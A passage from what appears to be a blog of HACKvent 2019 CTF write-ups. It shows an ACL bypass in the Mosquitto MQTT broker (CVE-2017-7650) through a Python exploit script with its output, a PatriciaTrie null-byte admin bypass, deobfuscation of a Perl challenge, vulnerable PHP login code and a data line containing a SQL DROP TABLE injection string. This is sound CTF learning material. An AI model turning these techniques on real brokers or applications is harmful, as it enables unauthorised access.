href=\"http:\/\/whale.hacking-lab.com:8888\/trieme\/\" target=\"_blank\">http:\/\/whale.hacking-lab.com:8888\/trieme\/<\/a><br \/><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip\">34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>The first look at the provided source code made me think that this has to be a serialization vulnerability. But if we look more closely at the details it gets clear we somehow have to become admin and the flag will be revealed.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">package com.jwt.jsf.bean;\nimport org.apache.commons.collections4.trie.PatriciaTrie;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Serializable;\nimport java.io.StringWriter;\nimport javax.faces.bean.ManagedBean;\nimport javax.faces.bean.SessionScoped;\nimport static org.apache.commons.lang3.StringEscapeUtils.unescapeJava;\nimport org.apache.commons.io.IOUtils;\n@ManagedBean(name=\"notesBean\")\n@SessionScoped\npublic class NotesBean implements Serializable {\n\t\/**\n\t *\n\t *\/\n\tprivate PatriciaTrie&lt;Integer> trie = init();\n\tprivate static final long serialVersionUID = 1L;\n\tprivate static final String securitytoken = \"auth_token_4835989\";\n\tpublic NotesBean() {\n\t    super();\n\t    init();\n\t}\n\tpublic String getTrie() throws IOException {\n\t\tif(isAdmin(trie)) {\n\t\t\tInputStream in=getStreamFromResourcesFolder(\"data\/flag.txt\");\n\t\t\tStringWriter writer = new StringWriter();\n\t\t\tIOUtils.copy(in, writer, \"UTF-8\");\n\t\t\tString flag = writer.toString();\n\t\t\treturn flag;\n\t\t}\n\t\treturn \"INTRUSION WILL BE REPORTED!\";\n\t}\n\tpublic void setTrie(String note) {\n\t\ttrie.put(unescapeJava(note), 0);\n\t}\n    private static PatriciaTrie&lt;Integer> init(){\n        PatriciaTrie&lt;Integer> trie = new PatriciaTrie&lt;Integer>();\n        trie.put(securitytoken,0);\n        return trie;\n    }\n    private static boolean isAdmin(PatriciaTrie&lt;Integer> trie){\n        return !trie.containsKey(securitytoken);\n    }\n    private static InputStream getStreamFromResourcesFolder(String filePath) {\n    \t  return Thread.currentThread().getContextClassLoader().getResourceAsStream(filePath);\n    \t }\n}<\/pre>\n\n\n<p>The security token is stored in a PatriciaTrie object. Very very suspicious is the isAdmin() check: If the security token is <strong>NOT<\/strong> stored in the PatriciaTrie we are admin. This sounds like it was done on purpose just for this challenge. <\/p>\n\n\n<p>As I didn&#8217;t know PatriciaTrie I googled to learn more about it. The most interesting thing I&#8217;ve found was a unfixed security vulnerability in PatriciaTree: <a href=\"https:\/\/issues.apache.org\/jira\/browse\/COLLECTIONS-714\">https:\/\/issues.apache.org\/jira\/browse\/COLLECTIONS-714<\/a>. PatriciaTrie does not differentiate between &#8220;x&#8221; and &#8220;x\\u0000&#8221; and we can use this to overwrite the security token.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">public void testNullTerminatedKey2() {\n    PatriciaTrie&lt;Integer> trie = new PatriciaTrie&lt;>();\n    trie.put(\"x\", 0);\n    Assert.assertTrue(trie.containsKey(\"x\")); \/\/ ok\n    trie.put(\"x\\u0000\", 1);\n    Assert.assertTrue(trie.containsKey(\"x\")); \/\/ fail\n}<\/pre>\n\n\n<p>This is exactly our case, now it is clear why the isAdmin() function was implemented this weird way&#8230; To solve this challenge we can enter &#8220;auth_token_4835989\\u0000&#8221; into the text field of the website and collect the flag.<\/p>\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"117\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-8-1024x117.png\" alt=\"\" class=\"wp-image-1267\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-8-1024x117.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-8-300x34.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-8-768x88.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-8-1536x175.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-8-2048x233.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n<p><strong>Flag: HV19{get_th3_chocolateZ}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.14 Achtung das Flag (Author: M. (who else) &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description: <br \/><\/strong>Let&#8217;s play another little game this year. Once again, I promise it is hardly obfuscated.<\/p>\n\n\n<p><strong>Resources: <\/strong><\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">use Tk;use MIME::Base64;chomp(($a,$a,$b,$c,$f,$u,$z,$y,$r,$r,$u)=&lt;DATA>);sub M{$M=shift;##\n@m=keys %::;(grep{(unpack(\"%32W*\",$_).length($_))eq$M}@m)[0]};$zvYPxUpXMSsw=0x1337C0DE;###\n\/_help_me_\/;$PMMtQJOcHm8eFQfdsdNAS20=sub{$zvYPxUpXMSsw=($zvYPxUpXMSsw*16807)&amp;0xFFFFFFFF;};\n($a1Ivn0ECw49I5I0oE0='07&amp;3-\"11*\/(')=~y$!-=$`-~$;($Sk61A7pO='K&amp;:P3&amp;44')=~y$!-=$`-~$;m\/Mm\/g;\n($sk6i47pO='K&amp;:R&amp;-&amp;\"4&amp;')=~y$!-=$`-~$;;;;$d28Vt03MEbdY0=sub{pack('n',$fff[$S9cXJIGB0BWce++]\n^($PMMtQJOcHm8eFQfdsdNAS20->()&amp;0xDEAD));};'42';($vgOjwRk4wIo7_=MainWindow->new)->title($r)\n;($vMnyQdAkfgIIik=$vgOjwRk4wIo7_->Canvas(\"-$a\"=>640,\"-$b\"=>480,\"-$u\"=>$f))->pack;@p=(42,42\n);$cqI=$vMnyQdAkfgIIik->createLine(@p,@p,\"-$y\"=>$c,\"-$a\"=>3);;;$S9cXJIGB0BWce=0;$_2kY10=0;\n$_8NZQooI5K4b=0;$Sk6lA7p0=0;$MMM__;$_=M(120812).'\/'.M(191323).M(133418).M(98813).M(121913)\n.M(134214).M(101213).'\/'.M(97312).M(6328).M(2853).'+'.M(4386);s|_||gi;@fff=map{unpack('n',\n$::{M(122413)}->($_))}m:...:g;($T=sub{$vMnyQdAkfgIIik->delete($t);$t=$vMnyQdAkfgIIik->#FOO\ncreateText($PMMtQJOcHm8eFQfdsdNAS20->()%600+20,$PMMtQJOcHm8eFQfdsdNAS20->()%440+20,#Perl!!\n\"-text\"=>$d28Vt03MEbdY0->(),\"-$y\"=>$z);})->();$HACK;$i=$vMnyQdAkfgIIik->repeat(25,sub{$_=(\n$_8NZQooI5K4b+=0.1*$Sk6lA7p0);;$p[0]+=3.0*cos;$p[1]-=3*sin;;($p[0]>1&amp;&amp;$p[1]>1&amp;&amp;$p[0]&lt;639&amp;&amp;\n$p[1]&lt;479)||$i->cancel();00;$q=($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0,$p[0]-1,$p[1]-1,\n$p[0]+1,$p[1]+1)||[])->[0];$q==$t&amp;&amp;$T->();$vMnyQdAkfgIIik->insert($cqI,'end',\\@p);($q==###\n$cqI||$S9cXJIGB0BWce>44)&amp;&amp;$i->cancel();});$KE=5;$vgOjwRk4wIo7_->bind(\"&lt;$Sk61A7pO-n>\"=>sub{\n$Sk6lA7p0=1;});$vgOjwRk4wIo7_->bind(\"&lt;$Sk61A7pO-m>\"=>sub{$Sk6lA7p0=-1;});$vgOjwRk4wIo7_#%\"\n->bind(\"&lt;$sk6i47pO-n>\"=>sub{$Sk6lA7p0=0 if$Sk6lA7p0>0;});$vgOjwRk4wIo7_->bind(\"&lt;$sk6i47pO\"\n.\"-m>\"=>sub{$Sk6lA7p0=0 if $Sk6lA7p0&lt;0;});$::{M(7998)}->();$M_decrypt=sub{'HACKVENT2019'};\n__DATA__\nThe cake is a lie!\nwidth\nheight\norange\nblack\ngreen\ncyan\nfill\nOnly perl can parse Perl!\nAchtung das Flag! --> Use N and M\nbackground\nM'); DROP TABLE flags; --\nRun me in Perl!\n__DATA__<\/pre>\n\n\n<p><strong>Solution:<br \/><\/strong>The first step is to de-obfuscate the perl script:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ perl -MO=Deparse -l 14.pl > 14_deobfuscated.pl\n14.pl syntax OK<\/pre>\n\n\n<p>The script now looks a little bit more readable.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">BEGIN { $\/ = \"\\n\"; $\\ = \"\\n\"; }\nsub Tk::Frame::queuePack;\nsub Tk::Frame::freeze_on_map;\nsub Tk::Frame::FindMenu;\nsub Tk::Frame::label;\nsub Tk::Frame::sbset;\nsub Tk::Frame::packscrollbars;\nsub Tk::Frame::labelVariable;\nsub Tk::Frame::AddScrollbars;\nsub Tk::Frame::labelPack;\nsub Tk::Frame::scrollbars;\nsub Tk::Toplevel::FG_BindIn;\nsub Tk::Toplevel::FG_Out;\nsub Tk::Toplevel::FG_Destroy;\nsub Tk::Toplevel::FG_Create;\nsub Tk::Toplevel::FG_In;\nsub Tk::Toplevel::FG_BindOut;\nuse Tk;\nuse MIME::Base64;\nchomp(($a, $a, $b, $c, $f, $u, $z, $y, $r, $r, $u) = readline DATA);\nsub M {\n    $M = shift();\n    @m = keys %main::;\n    (grep {unpack('%32W*', $_) . length($_) eq $M;} @m)[0];\n}\n$zvYPxUpXMSsw = 322420958;\n\/_help_me_\/;\n$PMMtQJOcHm8eFQfdsdNAS20 = sub {\n    $zvYPxUpXMSsw = $zvYPxUpXMSsw * 16807 &amp; 4294967295;\n}\n;\n($a1Ivn0ECw49I5I0oE0 = '07&amp;3-\"11*\/(') =~ tr\/!-=\/`-|\/;\n($Sk61A7pO = 'K&amp;:P3&amp;44') =~ tr\/!-=\/`-|\/;\n\/Mm\/g;\n($sk6i47pO = 'K&amp;:R&amp;-&amp;\"4&amp;') =~ tr\/!-=\/`-|\/;\n$d28Vt03MEbdY0 = sub {\n    pack 'n', $fff[$S9cXJIGB0BWce++] ^ &amp;$PMMtQJOcHm8eFQfdsdNAS20() &amp; 57005;\n}\n;\n'???';\n($vgOjwRk4wIo7_ = 'MainWindow'->new)->title($r);\n($vMnyQdAkfgIIik = $vgOjwRk4wIo7_->Canvas(\"-$a\", 640, \"-$b\", 480, \"-$u\", $f))->pack;\n@p = (42, 42);\n$cqI = $vMnyQdAkfgIIik->createLine(@p, @p, \"-$y\", $c, \"-$a\", 3);\n$S9cXJIGB0BWce = 0;\n$_2kY10 = 0;\n$_8NZQooI5K4b = 0;\n$Sk6lA7p0 = 0;\n$MMM__;\n$_ = M(120812) . '\/' . M(191323) . M(133418) . M(98813) . M(121913) . M(134214) . M(101213) . '\/' . M(97312) . M(6328) . M(2853) . '+' . M(4386);\ns\/_\/\/gi;\n@fff = map({unpack 'n', $main::{M 122413}($_);} \/...\/g);\n($T = sub {\n    $vMnyQdAkfgIIik->delete($t);\n    $t = $vMnyQdAkfgIIik->createText(&amp;$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &amp;$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &amp;$d28Vt03MEbdY0(), \"-$y\", $z);\n}\n)->();\n$HACK;\n$i = $vMnyQdAkfgIIik->repeat(25, sub {\n    $_ = $_8NZQooI5K4b += 0.1 * $Sk6lA7p0;\n    $p[0] += 3 * cos($_);\n    $p[1] -= 3 * sin($_);\n    $i->cancel unless $p[0] > 1 and $p[1] > 1 and $p[0] &lt; 639 and $p[1] &lt; 479;\n    '???';\n    $q = +($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0, $p[0] - 1, $p[1] - 1, $p[0] + 1, $p[1] + 1) || [])->[0];\n    &amp;$T() if $q == $t;\n    $vMnyQdAkfgIIik->insert($cqI, 'end', \\@p);\n    $i->cancel if $q == $cqI or $S9cXJIGB0BWce > 44;\n}\n);\n$KE = 5;\n$vgOjwRk4wIo7_->bind(\"&lt;$Sk61A7pO-n>\", sub {\n    $Sk6lA7p0 = 1;\n}\n);\n$vgOjwRk4wIo7_->bind(\"&lt;$Sk61A7pO-m>\", sub {\n    $Sk6lA7p0 = -1;\n}\n);\n$vgOjwRk4wIo7_->bind(\"&lt;$sk6i47pO-n>\", sub {\n    $Sk6lA7p0 = 0 if $Sk6lA7p0 > 0;\n}\n);\n$vgOjwRk4wIo7_->bind(\"&lt;$sk6i47pO\" . '-m>', sub {\n    $Sk6lA7p0 = 0 if $Sk6lA7p0 &lt; 0;\n}\n);\n$main::{M 7998}();\n$M_decrypt = sub {\n    'HACKVENT2019';\n}\n;\n__DATA__\nThe cake is a lie!\nwidth\nheight\norange\nblack\ngreen\ncyan\nfill\nOnly perl can parse Perl!\nAchtung das Flag! --> Use N and M\nbackground\nM'); DROP TABLE flags; --\nRun me in Perl!\n__DATA__\n<\/pre>\n\n\n<p>I don&#8217;t like Perl and Perl CTF challanges even less! I fiddled with the Perl script until it printed the flag to the console. Here is the diff of the original (deobfuscated) Perl script and my modifications:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ diff 14_deobfuscated.pl 14_soll.pl\n55c55,58\n&lt;     $t = $vMnyQdAkfgIIik->createText(&amp;$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &amp;$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &amp;$d28Vt03MEbdY0(), \"-$y\", $z);\n---\n>     #$t = $vMnyQdAkfgIIik->createText(&amp;$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &amp;$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &amp;$d28Vt03MEbdY0(), \"-$y\", $z);\n>     # This is still needed..\n>     &amp;$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &amp;$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20;\n>     print(&amp;$d28Vt03MEbdY0());\n66c69,70\n&lt;     &amp;$T() if $q == $t;\n---\n>     #&amp;$T() if $q == $t;\n>     &amp;$T();\n<\/pre>\n\n\n<p><strong>Fag:  HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\\x20\\n^&amp;&amp;s[(.)(..)][\\2\\1]g;s%4(&#8230;)%&#8221;p$1t&#8221;%ee} <\/strong><\/p>\n\n\n<h2 class=\"wp-block-heading\">Hidden Flag 04<\/h2>\n\n\n<p>The flag of the Perl challenge looks very suspicious! In previous HACKvents I learned that everything (!) can be a Perl script and be executed&#8230; So, why we don&#8217;t just try to execute the flag as Perl?! \ud83d\ude42<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ perl flag14.pl\nSqu4ring the Circle<\/pre>\n\n\n<p><strong>Flag: HV19{Squ4ring the Circle}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.15 Santa&#8217;s Workshop (Author: inik &amp; avarx &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>The Elves are working very hard.<br \/>Look at&nbsp;<a rel=\"noreferrer noopener\" href=\"http:\/\/whale.hacking-lab.com:2080\/\" target=\"_blank\">http:\/\/whale.hacking-lab.com:2080\/<\/a>&nbsp;to see how busy they are.<\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>First day of hard challenges! This took a lot of time and nerves, mainly because it wasn&#8217;t working correctly. I had the solution some hours after the release at midnight, but the intended way didn&#8217;t work because the server had problems. \ud83d\ude41<\/p>\n\n\n<p>The website out of the challenge description looks like this: <\/p>\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"654\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-21-1024x654.png\" alt=\"\" class=\"wp-image-1311\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-21-1024x654.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-21-300x192.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-21-768x491.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-21-1536x982.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-21.png 1646w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n<p>Inspecting the website a bit further revealed that the <a href=\"http:\/\/mqtt.org\/\">Mosquitto message broker<\/a> is used and there is a config.js file with additional information.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">var mqtt;\nvar reconnectTimeout = 100;\nvar host = 'whale.hacking-lab.com';\nvar port = 9001;\nvar useTLS = false;\nvar username = 'workshop';\nvar password = '2fXc7AWINBXyruvKLiX';\nvar clientid = localStorage.getItem(\"clientid\");\nif (clientid == null) {\n  clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');\n  localStorage.setItem(\"clientid\", clientid);\n}\nvar topic = 'HV19\/gifts\/'+clientid;\n\/\/ var topic = 'HV19\/gifts\/'+clientid+'\/flag-tbd';\nvar cleansession = true;\n<\/pre>\n\n\n<p>We have the login details, we know we need the clientid which is stored in our browser and we know how to get the flag. I informed myself a bit more about MQTT and learned about single- and multi-level wildcards and $SYS topics etc. Much information is available on this website: <a href=\"https:\/\/www.hivemq.com\/blog\/mqtt-essentials-part-5-mqtt-topics-best-practices\/\">https:\/\/www.hivemq.com\/blog\/mqtt-essentials-part-5-mqtt-topics-best-practices\/<\/a> <\/p>\n\n\n<p>Subscribing to $SYS\/* revealed this nice little piece of information:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$SYS\/broker\/version mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)<\/pre>\n\n\n<p><a href=\"https:\/\/mosquitto.org\/blog\/2017\/05\/security-advisory-cve-2017-7650\/\">CVE-2017-7650<\/a> tells us, that the ACLs on the server side can be circumvented if we create an userid which includes the &#8220;+&#8221; or &#8220;#&#8221; wildcard signs. According to the hint in the latest message this CVE was fixed, but probably in a wrong way. This definitely is the way to go. <\/p>\n\n\n<p>The Access List on the server probably is set to only allow us to read the messages for our own clientid. Meaning only the messages at &#8220;HV19\/gifts\/clientid&#8221; can be read, but none further like &#8220;HV19\/gifts\/clientid\/xxx&#8221;. Therefore we can also not read the flag at HV19\/gifts\/clientid\/flag-tbd. More information about ACLs in mosquitto can be found here: <a href=\"https:\/\/mosquitto.org\/man\/mosquitto-conf-5.html\">https:\/\/mosquitto.org\/man\/mosquitto-conf-5.html<\/a> <br \/>The ACL for this challenge probably looks something like this:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">pattern read HV19\/gifts\/%c<\/pre>\n\n\n<p>The solution is to set the clientid to &#8220;&lt;clientid&gt;\/#&#8221;. This way we can break out of the context and read the message at clientid\/xxx. I created a python script to solve this challenge, based on the <a href=\"https:\/\/bugs.eclipse.org\/bugs\/show_bug.cgi?id=516765\">public exploit<\/a>:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\nimport paho.mqtt.client as mqtt\nimport logging\ndef dump(obj):\n  for attr in dir(obj):\n    print(\"obj.%s = %r\" % (attr, getattr(obj, attr)))\ndef on_connect(client, userdata, flags, rc):\n    print(\"Connected to MQTT broker.\")\n    print(flags)\n    print(\"\\n\\n\")\n    # dump(client)\n    client.subscribe('$SYS\/#')\n    client.subscribe('HV19\/#')\n    client.subscribe('HV19\/gifts\/+\/flag-tbd')\n    client.subscribe('#')\n    client.subscribe('+')\n    print(\"Waiting for messages...\\n\\n\")\ndef on_message(client, userdata, msg):\n    print(msg.topic+\" \"+str(msg.payload))\ndef exploit(host):\n    client = mqtt.Client(client_id='0227756727216079\/#', clean_session=False, transport='websockets')\n    client.on_connect = on_connect\n    client.on_message = on_message\n    client.enable_logger() # Enable logs\n    print(\"Connecting to MQTT broker on %s\" % host)\n    client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX')\n    # client.username_pw_set('', password='')\n    client.connect(host, 9001, 60, '')\n    client.loop_forever()\nexploit(\"whale.hacking-lab.com\")<\/pre>\n\n\n<p>Running the script looks like this:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol.py\nConnecting to MQTT broker on whale.hacking-lab.com\nConnected to MQTT broker.\n{'session present': 1}\nWaiting for messages...\n$SYS\/broker\/version mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)\nHV19\/gifts\/0227756727216079\/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} Congrats, you got it. The elves should not overrate their smartness!!!<\/pre>\n\n\n<p><strong>Flag: HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.16 B0rked Calculator (Author: hardlock  &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Santa has coded a simple project for you, but sadly he removed all the operations.<br \/>But when you restore them it will print the flag!<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/9b90c573-d530-401b-b3f8-24454bbf015e.zip\">9b90c573-d530-401b-b3f8-24454bbf015e.zip<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>I solved this completely with Ollydbg. B0rked Calculator is a simple calculator written in ASM. All the four operations are replaced with NOP calls. <\/p>\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"539\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12-1024x539.png\" alt=\"\" class=\"wp-image-1280\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12-1024x539.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12-300x158.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12-768x404.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12-1536x808.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-12.png 1659w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n<p>As the description says we have to fix the calculator to get the flag. This is what I did.. I patched the calculator in Ollydb and it printed the flag. <\/p>\n\n\n<p>The only tricky part was to clear the EDX register for the division. According to this<a href=\"https:\/\/www.aldeid.com\/wiki\/X86-assembly\/Instructions\/div\"> ASM guide<\/a> I tried to move 0 into the EDX register, but in the calculator there were not enough NOP spaces to do so. We can clear the EDX register in a more efficient way by XORing the register with itself. This also results in 0.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"533\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13-1024x533.png\" alt=\"\" class=\"wp-image-1282\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13-1024x533.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13-300x156.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13-768x400.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13-1536x800.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-13.png 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p><strong>Flag:  HV19{B0rked_Flag_Calculat0r} <\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.17 Unicode Portal (Author: scryh  &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Buy your special gifts online, but for the ultimative gift you have to become admin.<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong><a rel=\"noreferrer noopener\" href=\"http:\/\/whale.hacking-lab.com:8881\/\" target=\"_blank\">http:\/\/whale.hacking-lab.com:8881\/<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>A website with the suspicious title &#8220;Unicode Portal&#8221; is the starting point of this challenge.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"843\" height=\"766\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-22.png\" alt=\"\" class=\"wp-image-1318\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-22.png 843w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-22-300x273.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-22-768x698.png 768w\" sizes=\"auto, (max-width: 843px) 100vw, 843px\" \/><\/figure><\/div>\n\n\n<p>After creating an username we can browse throught the portal and find PHP source code, which apparently is used in this website.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nif (isset($_GET['show'])) highlight_file(__FILE__);\n\/**\n * Verifies user credentials.\n *\/\nfunction verifyCreds($conn, $username, $password) {\n  $usr = $conn->real_escape_string($username);\n  $res = $conn->query(\"SELECT password FROM users WHERE username='\".$usr.\"'\");\n  $row = $res->fetch_assoc();\n  if ($row) {\n    if (password_verify($password, $row['password'])) return true;\n    else addFailedLoginAttempt($conn, $_SERVER['REMOTE_ADDR']);\n  }\n  return false;\n}\n\/**\n * Determines if the given user is admin.\n *\/\nfunction isAdmin($username) {\n  return ($username === 'santa');\n}\n\/**\n * Determines if the given username is already taken.\n *\/\nfunction isUsernameAvailable($conn, $username) {\n  $usr = $conn->real_escape_string($username);\n  $res = $conn->query(\"SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('\".$usr.\"')\");\n  $row = $res->fetch_assoc();\n  return (int)$row['cnt'] === 0;\n}\n\/**\n * Registers a new user.\n *\/\nfunction registerUser($conn, $username, $password) {\n  $usr = $conn->real_escape_string($username);\n  $pwd = password_hash($password, PASSWORD_DEFAULT);\n  $conn->query(\"INSERT INTO users (username, password) VALUES (UPPER('\".$usr.\"'),'\".$pwd.\"') ON DUPLICATE KEY UPDATE password='\".$pwd.\"'\");\n}\n\/**\n * Adds a failed login attempt for the given ip address. An ip address gets blacklisted for 15 minutes if there are more than 3 failed login attempts.\n *\/\nfunction addFailedLoginAttempt($conn, $ip) {\n  $ip = $conn->real_escape_string($ip);\n  $conn->query(\"INSERT INTO fails (ip) VALUES ('\".$ip.\"')\");\n}\n?><\/pre>\n\n\n<p>Userinputs seem to 